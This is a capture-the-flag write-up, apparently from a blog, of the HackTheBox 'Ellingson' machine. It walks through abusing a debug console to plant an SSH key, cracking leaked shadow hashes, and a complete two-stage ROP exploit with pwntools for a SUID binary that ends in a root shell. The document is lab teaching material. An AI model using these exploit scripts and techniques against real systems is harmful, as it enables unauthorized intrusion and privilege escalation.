Hackthebox – Ellingson

This was for sure one awesome hackers-themed box. Although I did not realise that at first. Nevertheless, as with any box, I start with a port scan.

root@kalivm:~/Ellingson# nmap -sCV -p 1-65535 -oN fullscan_tcp 10.10.10.139
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-27 12:07 CEST
Nmap scan report for 10.10.10.139
Host is up (0.016s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)
|   256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)
|_  256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-title: Ellingson Mineral Corp
|_Requested resource was http://10.10.10.139/index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done: 1 IP address (1 host up) scanned in 240.92 seconds

So there is nothing that really stands out, hence it is time to visit the website and check if it contains any vulnerabilities that can be abused.

After visiting the site, the first part did not directly ring a bell, until I came up to the meet the team page.

This is a box themed after the 1995 Hackers movie. It contained several pages but running a gobuster scan yielded nothing of particular interest. So manual browsing and checking would be the way to go.

Some further browsing, I came up on the articles pages. Through the articles on the site, some additional information was provided on how ‘the hack’ occurred, this might be of use later.

Message 1:
A recent unknown intruder penetrated using a super user account giving him access to our entire system. Yesterday the ballest program for a supertanker training model mistakenly thought the vessel was empty and flooded it's tanks. This caused the vessel to capsize, a virus planted within the Ellingson system claimed responsibility and threatened to capsize more vessels unless five million dollars are transfered to their accounts. 
Message 2:
Due to the recent security issues we have implemented protections to block brute-force attacks against network services. As a result if you attempt to log into a service more then 5 times in 1 minute you will have your access blocked for 5 minutes. Additional malicious activity may also result in your connection being blocked, please keep this in mind and do not request resets if you lock yourself out ... take the 5 minutes and ponder where you went wrong :) 
Message 3:
We have recently detected suspicious activity on the network. Please make sure you change your password regularly and read my carefully prepared memo on the most commonly used passwords. Now as I so meticulously pointed out the most common passwords are. Love, Secret, Sex and God -The Plague 

And that confirmed my suspicion that it was Hackers themed. Eugene ‘The Plague’ Belford was the Security Officer and apparently has had some security issues!

The fact that something was misconfigured was confirmed after I tried to open the fourth message, it was not there and caused an list index out of range Python error. More importantly, it gave access to a Traceback with Terminal function, this could become interesting.

[console ready]
>>> import subprocess
>>> subprocess.check_output(['id'])
b'uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)\n'

Using the traceback function, I can now use python as if I am on the system and apparently the app runs as user ‘hal’, Time to check out if I can do something more fancy.

>>> import os
>>> os.listdir('/home/hal/')
['.profile', '.bashrc', '.ssh', '.local', '.config', '.gnupg', '.bash_logout', '.viminfo',   ]
>>> os.listdir('/home/hal/.ssh')
['id_rsa', 'authorized_keys']

So we can also list files and my guess would be we can also read them. But can we perhaps write to the authorized keys file and gain access to the box?

>>> f=open("/home/hal/.ssh/authorized_keys","w+")
>>> f.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDgNGcZyGpAql1KZz6SMQHLUl/T8uZ24G7rU2Xj0/EVGlsE+MwcZvEzJ40Zu3hdwPPdDlJpmnGsH9FgV1ps+4eoS74wkTJEH85wGupQPipLTpmk0sWg1ef2Yd77+9wD99lUoLBMU7CXiYVtC+Q1A+SupnC5dafa1+m9zNVpykHA/wTClCBpgZrEMjwmB5bK0a0k63thknVO2O3kJfBEZKSDki7rXtrtVVq26OHLpPsGuDNm6Z+qkcnM4uI8w9fWs0dPViZy8FddOoTyAjQYtFtTklmtve4enehL8klG4fI83pUc00cTn0mUtLOTcoGTdrtovJWvlFHsqq7V8jUtlLAmBROtYAhV4IJu7qO22B7bBlvUOL5yqyWj3bgphUdWHf3Mvztf9xzwmwc9bOc82Ds45uuCVo1qELuW8PUf13AbkTmSpxX+EBT+IumhqgCxer2/dvI0NhTaDc2eajsChDa+idVo91yEgYqWRfvaeW10hriMYc+JyDF27svFswf+8v8= root@kalivm")
564
>>> f.close()
>>> f=open("/home/hal/.ssh/authorized_keys","r").read()
>>> open("/home/hal/.ssh/authorized_keys","r").read()
'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDgNGcZyGpAql1KZz6SMQHLUl/T8uZ24G 

Apparently I have just been able to write my ssh key to the authorized keys file which mean I should be able to log in.

root@kalivm:~/Ellingson# ssh -i ellingson.key hal@10.10.10.139
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-46-generic x86_64)
----snip----
Last login: Sat Sep 28 21:27:36 2019 from 10.10.15.206
hal@ellingson:~$ ls
hal@ellingson:~$ 

Nice! That worked. Hal has nothing else in his home directory though, so time to see if we can find any other users and perhaps have to escalate to them.

hal@ellingson:~$ grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
theplague:x:1000:1000:Eugene Belford:/home/theplague:/bin/bash
hal:x:1001:1001:,,,:/home/hal:/bin/bash
margo:x:1002:1002:,,,:/home/margo:/bin/bash
duke:x:1003:1003:,,,:/home/duke:/bin/bash

After some searching around for interesting processes, binaries and files, I came across the backups directory which had an odd permissions setting.

hal@ellingson:~$ ls -al /var/backups/
total 708
drwxr-xr-x  2 root root     4096 May  7 13:14 .
drwxr-xr-x 14 root root     4096 Mar  9  2019 ..
-rw-r--r--  1 root root    61440 Mar 10  2019 alternatives.tar.0
-rw-r--r--  1 root root     8255 Mar  9  2019 apt.extended_states.0
-rw-r--r--  1 root root      437 Jul 25  2018 dpkg.diversions.0
-rw-r--r--  1 root root      295 Mar  9  2019 dpkg.statoverride.0
-rw-r--r--  1 root root   615441 Mar  9  2019 dpkg.status.0
-rw-------  1 root root      811 Mar  9  2019 group.bak
-rw-------  1 root shadow    678 Mar  9  2019 gshadow.bak
-rw-------  1 root root     1757 Mar  9  2019 passwd.bak
-rw-r-----  1 root adm      1309 Mar  9  2019 shadow.bak

The shadow.bak file was not owned by shadow as it is supposed to be, but by group ‘adm’ which we had already seen, hal is a groupmember of. Lets take a look and see if any of the known users has an entry in that file.

hal@ellingson:~$ grep -E 'theplague|hal|margo|duke' /var/backups/shadow.bak 
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::

So all password hashes are there! Time to put them through hashcat and see if there is any result. As I already had access to Hal’s account, I just removed that one and decided to let it run and after just second.

root@crackbox:~# hashcat -m 1800 -a0 -w3 ellingson.hashes ./rockyou.txt 
hashcat (v5.1.0) starting...
$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:password123

ThePlague’s password apparently has been password123. After trying it though, I did not get access to his account so apparently the password was changed. The next password took quite some time (about 15 minutes) but eventually.

$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:iamgod$08

Margo’s password was iamgod$08 but since the password for theplague had been changed, that might be the case with this password too.

root@kalivm:~/Ellingson# ssh margo@10.10.10.139
margo@10.10.10.139's password: 
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-46-generic x86_64)
----snip----
Last login: Sun Mar 10 22:02:27 2019 from 192.168.1.211
margo@ellingson:~$ ls
user.txt

Nice, that works and a user.txt file is present in the home directory. Only one more step to go!

margo@ellingson:~$ cat user.txt 
d0ff9e3f<NOFLAG>aaa6c0bb73e45903

And I’ve got the user flag!

Privilege Escalation

After gaining access to Margo’s account, I got stuck for a while because of simply overlooking things. After being put back on track I was pointed to look for a SUID file that relates to the movies.

margo@ellingson:~$ find / -perm -u=s -type f 2> /dev/null
/usr/bin/at
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/garbage
/usr/bin/newuidmap
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/chsh
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su
/bin/umount
/bin/ntfs-3g
/bin/ping
/bin/mount
/bin/fusermount

With that pointer, it all became obvious in seconds which file that should have been, after all Joey retrieved some ‘garbage’ from The Gibson as proof that he was a sound hacker!

margo@ellingson:~$ garbage 
Enter access password:

When running it, it asks for a password, and I do not have that yet.

margo@ellingson:~$ strings $(which garbage) |grep password -A4
Enter access password: 
N3veRF3@r1iSh3r3!
access granted.
access denied.
[+] W0rM || Control Application
margo@ellingson:~$ garbage 
Enter access password: N3veRF3@r1iSh3r3!

access granted.
[+] W0rM || Control Application
[+] ---------------------------
Select Option
1: Check Balance
2: Launch
3: Cancel
4: Exit

Some simple strings analysis shows the password and grants access… however, nothing useful appears to be available within the application. After browsing through the HTB forums, it appeared that the application should be vulnerable to a buffer overflow.

margo@ellingson:~$ garbage 
Enter access password: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

access denied.
Segmentation fault (core dumped)

Buffer overflow – Stage 1

After verifying on the box that it was indeed vulnerable, I decided to transfer it to my local machine for further analysis and seeing if I can abuse it.

root@kalivm:~/Ellingson/privesc# gdb ./garbage
----snip----
Reading symbols from ./garbage...
(No debugging symbols found in ./garbage)
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /root/Ellingson/privesc/garbage 
Enter access password:AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

access denied.

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7f6894843504 (<__GI___libc_write+20>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7f68949168c0 --> 0x0 
RSI: 0x124fc30 ("access denied.\nssword: ")
RDI: 0x0 
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffa408af78 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RIP: 0x401618 (<auth+261>:	ret)
R8 : 0x7f689491b500 (0x00007f689491b500)
R9 : 0x7f6894915848 --> 0x7f6894915760 --> 0xfbad2a84 
R10: 0xfffffffffffff638 
R11: 0x246 
R12: 0x401170 (<_start>:	xor    ebp,ebp)
R13: 0x7fffa408b070 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40160d <auth+250>:	call   0x401050 <puts@plt>
   0x401612 <auth+255>:	mov    eax,0x0
   0x401617 <auth+260>:	leave  
=> 0x401618 <auth+261>:	ret    
   0x401619 <main>:	push   rbp
   0x40161a <main+1>:	mov    rbp,rsp
   0x40161d <main+4>:	sub    rsp,0x10
   0x401621 <main+8>:	mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffa408af78 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0x7fffa408af80 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0x7fffa408af88 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0x7fffa408af90 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0032| 0x7fffa408af98 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0040| 0x7fffa408afa0 ("AuAAXAAvAAYAAwAAZAAxAAyA")
0048| 0x7fffa408afa8 ("AAYAAwAAZAAxAAyA")
0056| 0x7fffa408afb0 ("ZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401618 in auth ()
=> 0x0000000000401618 <auth+261>:	c3	ret
gdb-peda$ x/xg $rsp
0x7ffc7f5f5d18:	0x41416d4141514141
gdb-peda$ pattern offset 0x41416d4141514141
4702159612987654465 found at offset: 136

So now the offset is located at 136, from there on we should continue. In this attempt I actually combined some things that I learned on Hackthebox – Safe with the ROP based Buffer Overflow such as using the dynamic addresses instead of hard-coding them.

root@kalivm:~/Ellingson/privesc# objdump -D garbage |grep "puts@GLIBC"
  401050:	ff 25 d2 2f 00 00    	jmpq   *0x2fd2(%rip)        # 404028 <puts@GLIBC_2.2.5>

According to the bitterman video, the next step is to find the puts location within the binary with objdump. In the video though, Ippsec already mentions that some of these addresses change every time. Therefore I do not want to hard-code them, instead, let the ELF() call take care of it as I learned from Safe.

root@kalivm:~/Ellingson/privesc# python
Python 2.7.16+ (default, Sep  4 2019, 08:19:57) 
[GCC 9.2.1 20190827] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import * 
>>> elf=ELF('garbage')
[*] '/root/Ellingson/privesc/garbage'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
>>> p64(elf.symbols.plt.puts)
'P\x10@\x00\x00\x00\x00\x00'
>>> p64(0x401050)
'P\x10@\x00\x00\x00\x00\x00'
>>> p64(elf.symbols.got.puts)
'(@@\x00\x00\x00\x00\x00'
>>> p64(0x404028)
'(@@\x00\x00\x00\x00\x00'

After confirming in a python terminal that I actually did understand using the ELF() call for reaching the same locations, I simply included those in my exploit.py file.

root@kalivm:~/Ellingson/privesc# ROPgadget --binary garbage |grep 'pop rdi'
0x000000000040179b : pop rdi ; ret

Since the bitterman approach for finding the pop rdi call did not work, I used the approach from Safe with ROPgadget to find the pop rdi address and included that in the exploit.py. Followed the instructions as to sending the payload and got a first POC working. The exploit.py now contains the following:

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'new-window'])

p = process('garbage')
#p = gdb.debug('garbage', 'b main')

context(os='linux', arch='amd64')
#context.log level='DEBUG'

elf = ELF('garbage')

plt_put = p64(elf.symbols.plt.puts)
got_put = p64(elf.symbols.got.puts)
plt_main = p64(elf.symbols.main)
#root@kalivm:~/privesc# ROPgadget --binary garbage |grep 'pop rdi'
#0x000000000040179b : pop rdi ; ret
pop_rdi = p64(0x40179b)

junk = "A"*136

payload = junk + pop_rdi + got_put + plt_put +plt_main

#Executing the exploit
p.sendline(payload)
p.recvuntil("denied.")
leaked_puts = p.recv()[:8].strip().ljust(8, "\x00")
log.success("Leaked address: "+ str(leaked_puts))
p.interactive()

Executing the exploit.py looks promising as it prints out a different random address each time it runs.

root@kalivm:~/Ellingson/privesc# ./exploit.py 
[+] Starting local process './garbage': pid 9226
[*] '/root/Ellingson/privesc/garbage'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Leaked address: \x10I\xb9l\x8e\x7f\x00\x00
[*] Switching to interactive mode
$ x
Enter access password: 
access denied.
[*] Process './garbage' stopped with code 255 (pid 9226)

It nicely exits because of the incorrect password in the second run and does display a randomly leaked address in the first part. This means that the first stage of the exploit is actually ready for chaining it onto the second part.

Buffer overflow – Stage 2

The second part was actually a part where I got stuck for a long time. After trying over and over again to modify the code, I continued with the ROP() function from pwntools which altered my python script for stage 1 quite a bit too, according to the instruction on the last 10 minutes of the bitterman video.

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'new-window'])
context(os="linux", arch="amd64")
#context.log_level="DEBUG"

elf = ELF('garbage')

#LOCALSETUP
p=process(elf.path)

#ROPCHAIN1
rop= ROP(elf)
pop_rdi = rop.search(regs=['rdi'], order ='regs')
rop.puts(elf.got['puts'])
log.info("Stage 1:\n" + rop.dump())

junk = "A"*136

payload = junk + str(rop)

#SENDPAYLOAD1
p.sendline(payload)
p.recvuntil('denied.')
leaked_puts = p.recv()[:8].strip().ljust(8, "\x00")
log.success("leaked puts@libc: " + str(leaked_puts))

So now I have to add a second ROP chain which calls the /bin/sh binary with a system() call from LIBC. So first we add libc as an ELF() call, so that we can easily extract the required addresses.

#STAGE2
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
leaked_puts = u64(leaked_puts)

libc.address = leaked_puts - libc.symbols['puts']

#ROPCHAIN2
rop2 = ROP(libc)
rop2.system(next(libc.search('/bin/sh\x00')))
log.info("Stage 2\n" + rop2.dump())
payload = junk + str(rop2)

#SENDPAYLOAD2
p.sendline(payload)
p.interactive()

Now this is where I found out that I had actually made a big mistake. After being stuck for a long time, I was pointed towards the fact that using my own local Libc library would cause issues because address locations may be very different from those on the target system. So I SCP’ed the remote libc file to my local directory.

root@kalivm:~/Ellingson/privesc# scp margo@10.10.10.139:/lib/x86_64-linux-gnu/libc.so.6 .
margo@10.10.10.139's password: 
libc.so.6                                                100% 1983KB   8.1MB/s   00:00

And changed the one line in my exploit to point to the correct libc file. Also, I added SSH connection requirements.

#REMOTESETUP
s = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = s.process('/usr/bin/garbage')
----snip----
libc = ELF('libc.so.6')
----snip----

I ran the exploit and….

root@kalivm:~/Ellingson/privesc# ./exploit.py 
----snip----
[*] Got EOF while reading in interactive
$
[*] Stopped remote process 'garbage' on ellingson.htb (pid 4398)
[*] Got EOF while sending in interactive

Got a weird EOF error… Not sure what was happening, I asked someone to take a look a the exploit code and after some discussion, he came with the suggestion that I was missing one critical element. The SetUID part should be part of the second ROP chain. As the person giving the hint, was not overly familiar with the ROP() functions in pwntools, I had to do some more searching which eventually pointed out that a setuid() function is available which just requires the UID that you want to set it to. After adding it my entire code looked as follows:

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'new-window'])
context(os="linux", arch="amd64")
#context.log_level="DEBUG"

elf = ELF('garbage')

#LOCALSETUP
#p = process(elf.path)
#REMOTESETUP
s = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = s.process('/usr/bin/garbage')

#ROPCHAIN1
rop = ROP(elf)
pop_rdi = rop.search(regs=['rdi'], order ='regs')
rop.puts(elf.got['puts'])
rop.call(elf.symbols['main'])
log.info("Stage 1:\n" + rop.dump())

junk = "A"*136

payload = junk + str(rop)

#SENDPAYLOAD1
p.sendline(payload)
p.recvuntil('denied.')
leaked_puts = p.recv()[:8].strip().ljust(8, "\x00")
log.success("leaked puts@libc: " + str(leaked_puts))

#STAGE2
libc = ELF('libc.so.6')
leaked_puts = u64(leaked_puts)
libc.address = leaked_puts - libc.symbols['puts']

#ROPCHAIN2
rop2 = ROP(libc)
rop2.setuid(0)
rop2.system(next(libc.search('/bin/sh\x00')))
log.info("Stage 2\n" + rop2.dump())
payload = junk + str(rop2)

#SENDPAYLOAD2
p.sendline(payload)
p.interactive()

Now all that is left is to PWN the ellingson system!

root@kalivm:~/Ellingson/privesc# ./exploit.py 
[*] '/root/Ellingson/privesc/garbage'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Connecting to ellingson.htb on port 22: Done
[*] margo@ellingson.htb:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process '/usr/bin/garbage' on ellingson.htb: pid 4741
[*] Loaded cached gadgets for 'garbage'
[*] Stage 1:
    0x0000:         0x40179b pop rdi; ret
    0x0008:         0x404028 [arg0] rdi = got.puts
    0x0010:         0x401050 puts
    0x0018:         0x401619 0x401619()
[+] leaked puts@libc: ���8\x7f\x00\x00
[*] '/root/Ellingson/privesc/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for 'libc.so.6'
[*] Stage 2
    0x0000:   0x7f381ddec55f pop rdi; ret
    0x0008:              0x0 [arg0] rdi = 0
    0x0010:   0x7f381deb0970 setuid
    0x0018:   0x7f381ddec55f pop rdi; ret
    0x0020:   0x7f381df7ee9a [arg0] rdi = 139878997683866
    0x0028:   0x7f381de1a440 system
[*] Switching to interactive mode

access denied.
# $ id
uid=0(root) gid=1002(margo) groups=1002(margo)

UID=0! I’ve got root access! It worked! Now all that is left, is to get the flag!

# $ cd /root
# $ ls
root.txt
# $ cat root.txt
1cc73a44<NOFLAG>aee6c029a3d2f997

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.